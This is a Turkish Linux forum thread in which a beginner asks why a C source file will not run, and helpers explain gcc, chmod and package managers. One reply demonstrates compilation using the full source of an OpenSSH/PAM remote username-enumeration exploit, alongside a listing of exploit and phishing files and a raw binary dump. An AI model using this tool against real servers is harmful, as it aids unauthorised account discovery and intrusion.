Şimdi Ara

Erişim engellendi sorunu

Daha Fazla
Bu Konudaki Kullanıcılar: Daha Az
2 Misafir - 2 Masaüstü
5 sn
13
Cevap
0
Favori
8.621
Tıklama
Daha Fazla
İstatistik
  • Konu İstatistikleri Yükleniyor
0 oy
Öne Çıkar
Sayfa: 1
Giriş
Mesaj
  • Selamlar.
    Ben yeni Linux kullanıcısıyım.Kurduğum Linux dağıtımı ise Pardus.Açıkçası Linux bayağı bir zorlanıyorum.Mesela ___.c uzantılı bir programı Linux altında çalıştırmak istiyorum.Bunu çalıştırmak için sadece bildiklerim su komutunu girmek vede yönetici sifresini yazmak.
    Bundan sonra konsola yazdığım
    # ./___.c bu noktadan sonra ise
    erişim engellendi yazısı çıkıyor.Ben bu problemi nasıl aşabilirim.
    Aynı şekilde kullandığım bu komut ___.sh uzantılı bir dosyada çalışmakta.
    Şimdi bu problemi nasıl aşabilirim.Bu konuda yardımlarınız beklemekteyim.



  • Çalıştırmak istediğiniz dosya bir kaynak kod dosyasımı ben mi yanlış anladım
    Sanırım önce derlemelisiniz
  • Bunu iki sebebi olabilir.
    1. kod derlenmemiştir.

    çözüm : gcc dosya.c -o dosya şeklinde derlersin. tabii basit programlar için bunu yaparsın.

    2. çalışma izini yoktur.

    Çözüm:
    chmod +x dosya 
    gibi çalışma izini verirsin..

    Kolay gelsin...
  • Cevaplar için teşekkürler.
    Mesajda da yazdığım gibi Linux e yeni başladığımdan dolayı pek bilgim olmadığını söylemiştim.
    Bu mesajlardan anladığıma göre .c uzantılı dosyalar sanırsam derlenmemiş dosya oluyor.Bişey daha öğrenmiş oldum.
    MURATSPLAT sizin dediğiniz bugün gidip bir deneyeceğim
    dediklerinizi konsolda yazarken
    --------------------------------
    #gcc dosya.c -o
    #chmod +x dosya(dosya.c)
    ---------------------------------
    şeklinde deneyeceğim sanırsam.

    Problem çıktıkça sizlerin yardımları bekliyorum.
    Tekrardan teşekkürler.Kolay gelsin
  • quote:

    Orjinalden alıntı: MSC

    Cevaplar için teşekkürler.
    Mesajda da yazdığım gibi Linux e yeni başladığımdan dolayı pek bilgim olmadığını söylemiştim.
    Bu mesajlardan anladığıma göre .c uzantılı dosyalar sanırsam derlenmemiş dosya oluyor.Bişey daha öğrenmiş oldum.
    MURATSPLAT sizin dediğiniz bugün gidip bir deneyeceğim
    dediklerinizi konsolda yazarken
    --------------------------------
    #gcc dosya.c -o
    #chmod +x dosya(dosya.c)
    ---------------------------------
    şeklinde deneyeceğim sanırsam.

    Problem çıktıkça sizlerin yardımları bekliyorum.
    Tekrardan teşekkürler.Kolay gelsin



    gcc derleyici chmod ise çalışma izini olmayan dosyaya çalışma izini verirsin. Derlenmemiş bir programa çalışma izini vermen bir şeyi ifade etmez !
    sana örnek
    murat@muratsplat:~/ex$ ls -l 
    toplam 1468
    -rw-r--r-- 1 murat users 10290 2006-03-16 22:53 1turkce.HTML
    -rw-r--r-- 1 murat users 26834 2006-03-04 01:46 7350854.c
    drwxr-xr-x 2 murat users 4096 2006-03-14 15:19 bilgi/
    -rw-r--r-- 1 murat users 486722 2006-03-17 19:14 cracklib-small
    -rw-r--r-- 1 murat users 481870 2006-03-04 01:35 cracklib-small~
    -rw-r--r-- 1 murat users 14257 2006-03-14 15:12 fakegmail.HTML
    -rw-r--r-- 1 murat users 14466 2006-03-16 22:49 g2mail.HTML
    -rw-r--r-- 1 murat users 14466 2006-03-16 22:49 gmail.HTML
    -rw-r--r-- 1 murat users 35214 2006-03-16 20:25 iss.pl
    -rw-r--r-- 1 root root 74959 2006-03-12 15:31 kablo.net
    -rw-r--r-- 1 murat users 863 2006-03-14 14:19 linux2038optionslength.c
    -rw-r--r-- 1 murat users 16678 2006-03-16 22:48 mailyaho.html
    -rw-r--r-- 1 murat users 17629 2006-03-11 23:58 Multiple_Cisco_Exploit_Codes.pl
    -rw-r--r-- 1 murat users 43258 2006-03-14 13:43 prout.c
    -rwxr-xr-x 1 murat users 37271 2006-03-04 01:59 shel*
    -rw-r--r-- 1 murat users 40125 2006-03-04 01:59 shell_x.c
    -rw-r--r-- 1 murat users 2951 2006-03-03 01:19 ssh_brute.c
    -rw-r--r-- 1 murat users 3844 2006-03-14 14:25 ssping.c
    -rwxr-xr-x 1 murat users 14145 2006-03-16 21:52 trash*
    -rw-r--r-- 1 murat users 5003 2006-03-16 21:51 trash.c
    -rw-r--r-- 1 murat users 2 2006-03-16 21:51 trash.c~
    -rw-r--r-- 1 murat users 10249 2006-03-16 22:53 turkce.HTML
    murat@muratsplat:~/ex$ cat ssh_brute.c
    /*
    * SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool
    * Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved
    *
    * THIS IS PROPRIETARY SOURCE CODE OF @MEDIASERVICE.NET, DO NOT DISTRIBUTE.
    *
    * Vulnerability discovered by Marco Ivaldi <raptor@mediaservice.net>
    * Proof of concept code by Maurizio Agazzini <inode@mediaservice.net>
    *
    * Tested against Red Hat, Mandrake, and Debian GNU/Linux.
    *
    * Reference:http://lab.mediaservice.net/advisory/2003-01-openssh.txt
    *
    * $ tar xvfz openssh-3.6.1p1.tar.gz
    * $ patch -p0 <openssh-3.6.1p1_brute.diff
    * patching file openssh-3.6.1p1/ssh.c
    * patching file openssh-3.6.1p1/sshconnect.c
    * patching file openssh-3.6.1p1/sshconnect1.c
    * patching file openssh-3.6.1p1/sshconnect2.c
    * $ cd openssh-3.6.1p1
    * $ ./configure
    * $ make
    * $ cc ../ssh_brute.c -o ssh_brute
    * $ ./ssh_brute 1 list.txt 192.168.0.66
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/wait.h>

    /* an illegal user */
    #define NO_USER "not_val_user"

    /* path of the patched ssh */
    #define PATH_SSH "./ssh"

    /* max time range for invalid user */
    #define TIME_RANGE 3

    int main(int argc, char *argv[])
    {
    FILE * in;
    char buffer[2000], username[100], *host;
    int time_non_valid = 0, time_user = 0;
    int version = 1, i = 0, ret;

    fprintf(stderr, "\n SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\n");
    fprintf(stderr, " Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\n");

    if (argc < 3) {
    fprintf(stderr, "\n Usage: %s <protocol version> <user file> <host>\n\n", argv[0]);
    exit(-1);
    }

    version = atoi(argv[1]);
    host = argv[3];

    if ( ( in = fopen(argv[2], "r") ) == NULL ) {
    fprintf(stderr, "\n Can't open %s\n", argv[2]);
    exit(-1);
    }

    /* test an illegal user */
    printf("\n Testing an illegal user\t: ");
    fflush(stdout);

    sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, NO_USER, host);

    for (i = 0; i < 3; i++) {
    ret = system(buffer);
    time_non_valid += WEXITSTATUS(ret);
    }

    time_non_valid /= 3;

    printf("%d second(s)\n\n", time_non_valid);

    time_non_valid += TIME_RANGE;

    /* test supplied users */
    fscanf(in, "%s", username);

    while ( !feof(in) ) {

    printf(" Testing login %s\t", username);

    if (strlen(username) <= 8)
    printf("\t");
    printf(": ");

    fflush( stdout );

    sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, username, host);
    ret = system(buffer);
    time_user = WEXITSTATUS(ret);

    if (time_user <= time_non_valid)
    printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)]\n", time_user);
    else {
    /* valid user? test it again to be sure */

    ret = system(buffer);
    time_user = WEXITSTATUS(ret);

    if (time_user <= time_non_valid)
    printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)] [2 test]\n", time_user);
    else
    printf("\E[32m\E[1mUSER OK\E[m\t[%d second(s)]\n", time_user);
    }

    fscanf(in, "%s", username);
    }

    fclose(in);

    printf("\n");

    exit(0);
    }
    murat@muratsplat:~/ex$ gcc ssh_brute.c -o shh
    murat@muratsplat:~/ex$ ls -l
    toplam 1488
    -rw-r--r-- 1 murat users 10290 2006-03-16 22:53 1turkce.HTML
    -rw-r--r-- 1 murat users 26834 2006-03-04 01:46 7350854.c
    drwxr-xr-x 2 murat users 4096 2006-03-14 15:19 bilgi/
    -rw-r--r-- 1 murat users 486722 2006-03-17 19:14 cracklib-small
    -rw-r--r-- 1 murat users 481870 2006-03-04 01:35 cracklib-small~
    -rw-r--r-- 1 murat users 14257 2006-03-14 15:12 fakegmail.HTML
    -rw-r--r-- 1 murat users 14466 2006-03-16 22:49 g2mail.HTML
    -rw-r--r-- 1 murat users 14466 2006-03-16 22:49 gmail.HTML
    -rw-r--r-- 1 murat users 35214 2006-03-16 20:25 iss.pl
    -rw-r--r-- 1 root root 74959 2006-03-12 15:31 kablo.net
    -rw-r--r-- 1 murat users 863 2006-03-14 14:19 linux2038optionslength.c
    -rw-r--r-- 1 murat users 16678 2006-03-16 22:48 mailyaho.html
    -rw-r--r-- 1 murat users 17629 2006-03-11 23:58 Multiple_Cisco_Exploit_Codes.pl
    -rw-r--r-- 1 murat users 43258 2006-03-14 13:43 prout.c
    -rwxr-xr-x 1 murat users 37271 2006-03-04 01:59 shel*
    -rw-r--r-- 1 murat users 40125 2006-03-04 01:59 shell_x.c
    -rwxr-xr-x 1 murat users 13623 2006-03-17 20:32 shh*
    -rw-r--r-- 1 murat users 2951 2006-03-03 01:19 ssh_brute.c
    -rw-r--r-- 1 murat users 3844 2006-03-14 14:25 ssping.c
    -rwxr-xr-x 1 murat users 14145 2006-03-16 21:52 trash*
    -rw-r--r-- 1 murat users 5003 2006-03-16 21:51 trash.c
    -rw-r--r-- 1 murat users 2 2006-03-16 21:51 trash.c~
    -rw-r--r-- 1 murat users 10249 2006-03-16 22:53 turkce.HTML
    murat@muratsplat:~/ex$ ./ssh
    -bash: ./ssh: Böyle bir dosya ya da dizin yok
    murat@muratsplat:~/ex$ ./shh

    SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool
    Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved

    Usage: ./shh <protocol version> <user file> <host>

    murat@muratsplat:~/ex$ cat shh
    ELF4,$4 ("4àà




    ÈÈ( Qåtd/lib/ld-linux.so.2GNU


    CmO#Hï<5#.f¯áP9_±mÑx*r6}W4 _Jv_RegisterClasses__gmon_start__libc.so.6stdoutfscanfsystemfeoffflushfpri¯üisprintffclosestderrexitfopenatoi_IO_stdin_used__libc_start_mainstrlenGLIBC_2.1GLIBC_2.0$ii



    UåèèèKÉÃÿ5ÿ%ÿ%héàÿÿÿÿ%éĞÿÿÿÿhéÀÿÿÿÿh▒é°ÿÿÿh é ÿÿÿÿ%
    h(éÿÿÿÿh0éÿÿÿÿh8épÿÿÿÿ%h@é`ÿÿÿÿhHéPÿÿÿÿ%hPé@ÿÿÿÿ%hXéÀ£ÿÒ¡ÒuëÆÉÃöUåÀt!¸Àt▒ìhhQVhègÿÿÿôUåSè[Ã▒PüÿÿÿÀtÿĞ]üÉÃUå=t+ë
    è«yû÷Ä´&ÉÃUåäğ¸ÀÀÁèÁà)ÄÇ ÷ÿÿÇ÷ÿÿÇ÷ÿÿÇ÷ÿÿhÿ5è▒şÿÿÄÿ5èşÿÿÄ%ìE
    ÿ0hÿ5èãıÿÿÄì
    jÿèVşÿÿE
    Àì
    ÿ0èVşÿÿÄ÷ÿÿE
    À
    ¤÷ÿÿE
    ÿ0è:şÿÿÄEô}ôu(ìE
    ÿ0ÿ5èsıÿÿÄì
    jÿèæıÿÿì
    hè¹ıÿÿÄì
    ÿ5èXıÿÿÄÿµ¤÷ÿÿhÿµ÷ÿÿhh▒øÿÿPèËıÿÿÄ Ç÷ÿÿ½÷ÿÿFì
    ▒øÿÿPèıÿÿÄ÷ÿÿ÷ÿÿ÷ÿÿ÷ÿÿ%ÿÂÁ ÷ÿÿ÷ÿÿÿë± ÷ÿÿ÷ÿÿ¸VUUU÷­÷ÿÿÑ÷ÿÿÁø)ÁÈ ÷ÿÿÿµ ÷ÿÿhèàüÿÿÄ ÷ÿÿì¨÷ÿÿPhÿuôèüÿÿÄì
    ÿuôè?üÿÿÄÀ¨÷ÿÿPhèüÿÿĨ÷ÿÿì
    Pè^üÿÿÄwì
    èiüÿÿÄì
    èYüÿÿÄì
    ÿ5èøûÿÿÄÿµ¤÷ÿÿ¨÷ÿÿPÿµ÷ÿÿhh▒øÿÿPèiüÿÿÄ ì
    ▒øÿÿPèÇûÿÿÄ÷ÿÿ÷ÿÿ÷ÿÿ÷ÿÿ%ÿÁ÷ÿÿ÷ÿÿ; ÷ÿÿ▒ÿµ÷ÿÿè½ûÿÿÄëtì
    ▒øÿÿPèiûÿÿÄ÷ÿÿ÷ÿÿ÷ÿÿ÷ÿÿ%ÿÁ÷ÿÿ÷ÿÿ; ÷ÿÿ▒ÿµ÷ÿÿhè_ûÿÿÄëÿµ÷ÿÿhèGûÿÿÄì¨÷ÿÿPhÿuôèıúÿÿÄékşÿÿì
    ÿuôè*ûÿÿÄì
    è
    ûÿÿÄì
    jèûÿÿUåWV1öSì
    è ÃèEúÿÿ ÿÿÿ ÿÿÿ)ÊÁú9Ös×´&¼'ÿ³ ÿÿÿF9şrôÄ
    [^_]ö¿Uå$èBÃ>t$ ÿÿÿ ÿÿÿ)ÁÁùÉqÿuè[$t$ì]Ãÿ³ ÿÿÿòNÒuòëà$ÃUåSR»
    ¡
    ëÿĞøÿuôX[]ÃUåSè[óRèªúÿÿ]üÉÃ
    SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool
    Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved

    Usage: %s <protocol version> <user file> <host>

    r
    Can't open %s

    Testing an illegal user : not_val_user./ssh%s -%d %s@%s%d second(s)

    %s Testing login %s : ILLEGAL [%d second(s)]
    ILLEGAL [%d second(s)] [2 test]
    USER OK [%d second(s)]

    ÿÿÿÿÿÿÿÿ$
    à
    ¹
    hşÿÿoÿÿÿoğGCC: (GNU) 3.3.6GCC: (GNU) 3.3.6GCC: (GNU) 3.4.3GCC: (GNU) 3.4.3GCC: (GNU) 3.3.6GCC: (GNU) 3.4.3GCC: (GNU) 3.3.6",
    "$b _IO_stdin_usedZ../sysdeps/i386/elf/start.S/tmp/glibc-2.3.5/csuGNU AS 2.15.92.0.rIQŞÕ0HÍ"BG#T$0o%qC4(°ş)Bj* d+T«,½intº-0ü2ï3ìf;Úv<ì
    şU00▒q*şh0`0.aó?Ù#¥¥Hx~¼aq\şú0
    a¼0a=jaŽ ½¥£½Ù¦at«aL¬óG¯qY°şP³qe´ş6¶½aºhq»© óK¼º À·¿½ğÂ0
    4Ea
    ob0
    S


    ]R$¥T"N½#îSõ#T$y
    8<H߯Ãt R½R7ºÀË×½½ {VX7Ö<?ãu¦#Øvç#Éx½zº#
    å{º#Ó}#~İ#▒Í#ì$# ½#$
    ½#(ò½#,½#0¯½#4D#8 =ºÆ$@5Ñ#Ñ#½*½#
    ½#@¢¬#8£I#▒ö§# À ÆB Ñ B %Kè îéRB@N$½RO/ 5AR2XL R½R7ÀºÀË×µ] ¼½ÀÀÑÑØaÇ Íç½çò× íÀ ø ç¶d $½$ç e5 ;G"BöjA#âk#«l*Dm#
    Ïn# G I­ö®%#]¯R#D°éø=¥¡± ²,42²#D3=#
    ,5

    «4Q5ÿ7 8½U9TT:½d▒@/tmp/glibc-2.3.5/build-glibc-2.3.5/csu/crti.S/tmp/glibc-2.3.5/csuGNU AS 2.15.92.0.2d(Î/tmp/glibc-2.3.5/build-glibc-2.3.5/csu/crtn.S/tmp/glibc-2.3.5/csuGNU AS 2.15.92.0.2

    ;
    I$

    >
    $

    >


    :
    ;
    :
    ;
    I8
    !I/


    I
    :
    ;I


    :
    ;

    :
    ;
    I

    :
    ;
    ' (
    II

    :
    ;
    &I'


    <
    !I4:
    ;
    I?


    ../sysdeps/i386/elfstart.SÀ01:"▒VWYXû
    ÊÄû
    /usr/lib/gcc-lib/i486-slackware-linux/3.3.6/include../sysdeps/generic/bits../wcsmbs../sysdeps/gnu../iconvinit.cstddef.htypes.hwchar.h_G_config.hgconv.hAû
    /tmp/glibc-2.3.5/build-glibc-2.3.5/csucrti.S2,Wd",:Ä
    ,Wdd,,-:hAû
    /tmp/glibc-2.3.5/build-glibc-2.3.5/csucrtn.S:µ _G_int32_t__time_t__GCONV_INCOMPLETE_INPUT__GCONV_OK__state__gconv_init_fct_G_iconv_t__rlim64_t__GCONV_ILLEGAL_DESCRIPTOR__gconv_infoGNU C 3.3.6short unsigned intunsigned char__useconds_t__counter__fct__val__GCONV_NOCONV__value__nsteps_G_int16_t__max_needed_from__gconv_btowc_fct__off_t__ssize_t__statepinit.c__fsfilcnt_t__steps__fsfilcnt64_t__blkcnt_t__gconv_loaded_object_G_fpos64_t__gconv_t__trans_end_fct__u_int__GCONV_ILLEGAL_INPUT__blksize_t__to_name__uint64_t__id_t__GCONV_EMPTY_INPUT__cd__ino_t__count__invocation_counter__pid_t__u_short/tmp/glibc-2.3.5/csu__quad_t__u_long__fsid_t__GCONV_FULL_OUTPUT__max_needed_to__timer_t__stateful__uint32_t__key_t__u_char__gconv_step__shlib_handle__min_needed_toshort int__dev_tlong long int__gconv_trans_data__outbuflong long unsigned int__uid_t__wchb__uint16_twint_t__u_quad_t__gconv_trans_end_fct__flags__outbufend__combined__gconv_trans_init_fct__init_fct__modname__trans_context_fct__trans_fct__rlim_t__wch__intptr_t__suseconds_t__ino64_twchar_t__GCONV_IS_LAST__blkcnt64_t__fsblkcnt64_t__mode_t__qaddr_t__pos__gconv_end_fct_IO_stdin_used__internal_use__GCONV_NODB__clock_t__gconv_step_data__gconv_trans_query_fct__socklen_t__int64_t__GCONV_NOMEM__off64_t__btowc_fct_G_fpos_t__int8_t__daddr_t__fsblkcnt_t_G_uint32_t__nlink_t__swblk_t__GCONV_INTERNAL_ERROR__mbstate_t__gid_t__clockid_t__int32_t__gconv_trans_context_fct__next__GCONV_IGNORE_ERRORS__end_fct__trans__uint8_t__gconv_fct__from_name__min_needed_from__gconv_trans_fct__data__caddr_t_G_uint16_t__loff_t__int16_t.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_st#( 1H7
    à0¹GÿÿÿoÊ&Tşÿÿoğ0c l 8h
    u p¸à{ 0
    L
    º

    @Ã,
    8
    Î8~׸æ0%öUÊ 8W▒:0t#'|)!S
    8 à
    ¸

    L
    ▒▒!ñÿñÿñÿ<ñÿGñÿRñÿGñÿñÿGñÿñÿñÿñÿ<ñÿGñÿñÿñÿ¸ñÿæñÿñÿñÿñÿñÿ<ñÿñÿñÄ
    ñÿ

    59Eğ
    [0
    ñÿt▒
    ±ñÿ¸ñÿæñÿ±ñÿñÿñÿñÿ<ñÿ±ñÿßñÿëmûL
    #ï0
    ñÿANP
    ^p
    v#¬
    ³¯Å
    ñÿØT
    èñÿô×
    ùá
    J±\Ñl*|ñÿğ ñÿ' 29D0
    °ñÿµ6Æ
    ñÿÙè4 <command line>/tmp/glibc-2.3.5/build-glibc-2.3.5/config.h<built-in>abi-note.S/tmp/glibc-2.3.5/build-glibc-2.3.5/csu/abi-tag.hinit.c/tmp/glibc-2.3.5/build-glibc-2.3.5/csu/crti.S/tmp/glibc-2.3.5/build-glibc-2.3.5/csu/defs.hinitfini.ccall_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_aux/tmp/glibc-2.3.5/build-glibc-2.3.5/csu/crtn.Sssh_brute.cfeof@@GLIBC_2.0_DYNAMIC_fp_hwfprintf@@GLIBC_2.0fflush@@GLIBC_2.0__fini_array_end__dso_handle__libc_csu_finisystem@@GLIBC_2.0_initfscanf@@GLIBC_2.0stdout@@GLIBC_2.0stderr@@GLIBC_2.0_startstrlen@@GLIBC_2.0__fini_array_start__libc_csu_init__bss_startmain__libc_start_main@@GLIBC_2.0__init_array_enddata_startprintf@@GLIBC_2.0_finifclose@@GLIBC_2.1exit@@GLIBC_2.0atoi@@GLIBC_2.0_edata__i686.get_pc_thunk.bx_GLOBAL_OFFSET_TABLE__endfopen@@GLIBC_2.1__init_array_start_IO_stdin_usedsprintf@@GLIBC_2.0__data_start_Jv_RegisterClasses__gmon_start__murat@muratsplat:~/ex$



    gcc nasıl kullanılır.



    < Bu mesaj bu kişi tarafından değiştirildi MURATSPLAT -- 17 Mart 2006; 20:38:17 >




  • Ek açıklama için teşekkürler.Dün dediklerinizi denedim.(Dün dediklerinizi denedim derken 16 Mart 2006; 17:23:58 tarihinde attığınız mesajdakileri denedim).
    Denediklerim ve karşıma çıkan sonuçlar.
    İlk olarak dediğiniz gcc derleyiciyi denedim.Karşıma aşağıdaki sonuç çıktı
    MSC@pardus linux $ su 
    Parola:
    pardus linux # gcc program.c -o
    bash: gcc: command not found
    pardus linux #

    Karşıma bu çıkıyor.Bu olmayınca sizin dediğiniz ikinci olarak verdiğiniz yazma izni olan chmod ile yazma izni veriyorum.
    MSC@pardus linux $ su 
    Parola:
    chmod +x dosya.c
    pardus linux #

    daha sonrasında ise aşağıdaki gibi yapıyorum ve aşğıdaki hatayı alıyorum
    pardus linux # ./program.c 
    ./program.c: line 1: /bin: is a directory
    ./program.c: line 2: başkaprogram.c: command not found
    ./program.c: line 3: başkaprogram.c: command not found
    ./program.c: line 4: syntax error near unexpected token `('
    ./program.c: line 4: ` * Copyright (C) 2004,2005 Christophe Devine'
    pardus linux #

    Bu durum kaşısında ise anladığım tek şey "başkaprogram.c" yi /bin klasörünün altına atmak oluyor.Daha sonra aynı şekilde deneme yapıyorum ama bu seferde aşğıdaki durum meydana geliyor.
    pardus linux # ./program.c 
    /bin/başkaprogram.c: line 1: /bin is a directory

    ve bu koda konsolu tamamen kaplıyor ve 2-3 dak. içinde bilgisayar çalışmayacak bir biçimde kitliyor.Son çare olarak bilgisayarı yeniden başlatmak zorunda kalıyorum.
    Anlayacağınız benim dün yaptıklarım bunlar idi.Sonuç olarak ben bundan çıkardığım bu program derlenmemiş vede derlenmesi gerekiyor sanırsam.Tabi yanlış bir sonuçta çıkartmış olabilirim.

    Sizin yukarda verdiğiniz örnek derlenmemiş bir programın örneği mi?
    Çünkü bende bu programlara direkt tıkladığımda sizin örnkete verdiğiniz gibi kodlar çıkıyor.

    Şimdi bu konuda neler yapabilirim.İlk olarak benim yaptığımda bir sorun varsa bunun üzerinde duralım.İkinci olarak benim program derlenmemiş ise ben bunu nasıl derleyeceğim?Çünkü sizin verdiğiniz "gcc" ile bu işte başarılı olamadım.Sanırsam bu gcc bir komut dosyası ve ben bunu bir yerlere atmam gerekiyor.Tabi bu son dediklerimde de yanılıyor olabilirim

    Bu kadar yazdıklarımdan sonra sizin ve sizlerin önerileri fikirleri düşünceleri ve yapılması gerekenleri deneyimlerenize dayanaraktan ne yapmam gerekiyor?



    < Bu mesaj bu kişi tarafından değiştirildi MSC -- 18 Mart 2006; 19:06:28 >




  • gcc komutu çalışmadığına göre gcc sisteminde kurulu değil..
    pardus pisi arıcı ile gcc ve diğer paketlerini kur..


    ben sana verdiğim örnekte bir c ile yazılmış exploiti derledim..
    gcc dernelecek_dosya.c -o çıkış_dosyası

    şeklinde basitçe derlenir. Çıkış dosyasıda windeki exe benzer çalışan dosyaya(yani derlenmiş programdır) benzer . Yani çalıştırabilir normal bir program olur.. verdiğim PDF ye baktın mı !

    Ayrıca derlenmemiş bir C kodunu /bin/ altına kopyalaman birşeyi değiştirmez. Yani derlemeden çalışmaz.

    Pardusta gcc nasıl kurarım dersen pardus forumlarına takıl. Orda gerekli bilgiler var..


    Kolay geslin..
  • Yapay Zeka’dan İlgili Konular
    Yerel Disk Z Erişim Engellendi
    8 yıl önce açıldı
    Daha Fazla Göster
  • quote:

    Orjinalden alıntı: MURATSPLAT

    verdiğim PDF ye baktın mı !



    En altta kalınca dikkatimden kaçmış
    Şimdi flash diske atıp evde bir bakacam.Bu iyi oldu.

    Cevaplar için teşekkürler.Bunları uygulayacağım.
    Mutlu sona ulaşmam dileğiyle




  • Selamlar.
    Dediğiniz gibi pardus forumunu incelemem sonucunda gcc yi birazda uğraştırsa kurabildim.Bunda bir problem olmadı.
    Şimdi derlerken karşıma aşağıdaki problem çıkıyor.Bunun anlamı ne oluyor.Buna ben hiçbir yorum getiremedim.Yapmamız gereken başka ne var?

    pardus linux # gcc program.c -o program 
    program.c: In function `main':
    program.c:1146: error: `_VER_MAJOR' undeclared (first use in this function)
    program.c:1146: error: (Each undeclared identifier is reported only once
    program.c:1146: error: for each function it appears in.)
    program.c:1146: error: `_VER_MINOR' undeclared (first use in this function)
    pardus linux #



    < Bu mesaj bu kişi tarafından değiştirildi MSC -- 19 Mart 2006; 23:22:50 >




  • derleyici hatası yazılan kod bir hata var bu yüzden derlenmiyor..

    ..


    şu kodları dene bakalım bunlar derleniyor mu ?
    denemek için yanii

     
    #ifdef HAVE_CONFIG_H
    #include <config.h>
    #endif

    #include <stdio.h>
    #include <stdlib.h>

    int main(int argc, char *argv[])
    {
    printf("deneme deneme!\n");

    return EXIT_SUCCESS;
    }



    sonra derle bakalım derlenecek mi?

    bende derlendi ve çalıştı..


    Kolay gelsin..
  • Selamlar.
    Dün dediğiniz kodu derledim.Ekran çıktısı aşağıda
     MSC@pardus ~ $ su 
    Parola:
    pardus MSC # gcc deneme.c -o deneme
    pardus MSC # ./deneme
    deneme deneme!
    pardus MSC #

    Bu şunu gösteriyor demek ki derleyicide bir sorun yok.Derlenecek olanda bir problem olduğunu gösteriyor.Bu sebepten dolayı derlemeye çalıştığım programı ve yanında gelen dosyalara bayağı bir baktım.Bide bunun MakeFile diye de bir dosyayası olduğunu farkettim.Bazı şeyleri yeni öğreniyorum.Daha emekleme zamanı anlaşılan.İlk windows kullandığım günler geldi aklıma
    Neyse ben devam edeyim.Aldığım program aslında tar.gz şeklinde olarak geldi ve ben bunu açtım içinde çalıştırmak istediğim programdan başka programlarda var.
    Dün akşam programları tek tek açtım vede baktım tek anlayabildiğim kısımlar include kısımları oldu.Bunların uzantılarıda .h şeklinde idi.Benim açtığım klasörün içinde .h şeklinde dosylarda vardı.(ASP çalışırken burdan biliyorum).Daha sonra bu include ları nerde saklandığını buldum ve tek tek baktım ve bazı istediklerinin o klasörün içinde oldukları ve tek tek kopyaladım.Ama sonuç yine tam olmadı.O kısmı tekrar deneyeceğim.Bu akşam bir deneyeceğim.
    Bu konuda şunu soracam bir dosya derlerken include kısmında ki gibi başka yerlere başka dosya atmamız gerekiyor mu?
    Bide size MakeFile dosyası olduğunu söylemiştim.Onuda aşağıda veriyorum.Umarım bu program sayesinde derleme sırasında gereken birçok şeyi anlamış olacam.

     CC		= gcc 
    CFLAGS = -g -W -Wall -O2
    OPTFLAGS = -D_FILE_OFFSET_BITS=64 -D_MAJ=2 -D_MIN=41

    prefix = /usr/local
    bindir = $(prefix)/bin
    datadir = $(prefix)/share
    docdir = $(datadir)/program1

    DESTDIR =
    BINFILES = prgram1 program2 program3 program4 program5 ______.sh program6 program7
    DOCFILES = ChangeLog README.html README.txt

    all: prgram1 program2 program3 program4 program5 program6 program7

    program1: linux/program1.c linux/crypto.c linux/sha1-mmx.S
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program1.c linux/crypto.c linux/sha1-mmx.S -o program1 -lpthread

    program2: linux/program2.c linux/crypto.c
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program2.c linux/crypto.c -o program2

    program3: linux/program3.c
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program3.c -o program3

    program4: linux/program4.c
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program4.c -o program4

    program5: linux/program5.c
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program5.c -o program5

    program6: linux/program6.c
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program6.c -o program6

    program7: linux/program7.c
    $(CC) $(CFLAGS) $(OPTFLAGS) linux/program7.c -o program7

    install:
    install -d $(DESTDIR)$(bindir)
    install -m 755 $(BINFILES) $(DESTDIR)$(bindir)

    doc:
    install -d $(DESTDIR)$(docdir)
    install -m 644 $(DOCFILES) $(DESTDIR)$(docdir)

    clean:
    rm -f prgram1 program2 program3 program4 program5 program6 program7




    Benim burda çalıştırmaya çalıştığım program5.Bunlarda gcc ile derleniyor ama yukardaki derlemeyi anlamadım.Her programın derlemesi farklı anlaşılan.Kafam karıştı

    Umarım bu konuda açıklayıcı bir şekilde bana yardımcı olursunuz.Gerci konun başından beri bana çok yardımcı oldunuz.Bir ilk mesaja bakıyorum bide şimdiki mesaja



    < Bu mesaj bu kişi tarafından değiştirildi MSC -- 21 Mart 2006; 16:25:57 >




  • ./configure ;make ; make install 


    olayı çok daha karmaşıktır..

    Linuxda bir program sisteme iki şekilde kurulur. Ya kaynak kodlarından derlenerek kurulur yada derlenmiş paketleri sisteminin kullandığı paket yöneticisi(rpm, deb, tgz, gibi) yardımı ile kurulur..

    Linuxla yeni tanışmış bir kullanıcı ilk yol olarak derleme yolunun seçmemeli. Kullndığınız linux dağıtımının kullandığın paket yönetcisiyle programları sisteminize kurun.



    Derlemek bir uzmanlık gerektirir.

    Kaynak Kodundan Program Kurmak hakkında e-lapis dergsinde bir yazı var ..

    3 sayısında ..


     Erişim engellendi sorunu



    e-lapis download

    Kolay gelsin..




  • Herşey için teşekkürler.Nekadar derleme işlemini yapamasamda Linux konusunda küçük olsada bir ilerleme oldu bu yazışmalardan sonra.Tabi bu benim için büyük bir adım

    Dergiye bir bakacam umarım başarırım.

